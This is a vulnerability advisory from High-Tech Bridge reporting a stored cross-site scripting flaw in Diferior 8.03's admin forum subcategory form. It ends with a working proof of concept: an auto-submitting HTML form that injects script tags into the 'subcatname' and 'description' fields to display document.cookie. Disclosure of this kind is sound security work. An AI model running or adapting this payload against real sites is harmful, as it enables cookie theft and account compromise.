Cross Site Scripting vulnerability in Diferior

[advisory@xxxxxxxxxxx]

Vulnerability ID: HTB22722
Reference: 
http://www.htbridge.ch/advisory/cross_site_scripting_vulnerability_in_diferior.html
Product: Diferior
Vendor: Povilas Musteikis ( http://www.diferior.com/ ) 
Vulnerable Version: 8.03 and probably prior versions
Vendor Notification: 25 November 2010 
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing 
(http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "views/admin.php" script to 
properly sanitize user-supplied input in "subcatname" variable. Successful 
exploitation of this vulnerability could result in a compromise of the 
application, theft of cookie-based authentication credentials, disclosure or 
modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is 
available:

<form action="http://host/admin/forum/create_sub.html"; method="post" 
name="main">
<input type="hidden" name="cat" value="1">
<input type="hidden" name="subcatname" 
value='subname"><script>alert(document.cookie)</script>'>
<input type="hidden" name="description" 
value='description"><script>alert(document.cookie)</script>'>
</form>
<script>
document.main.submit();
</script>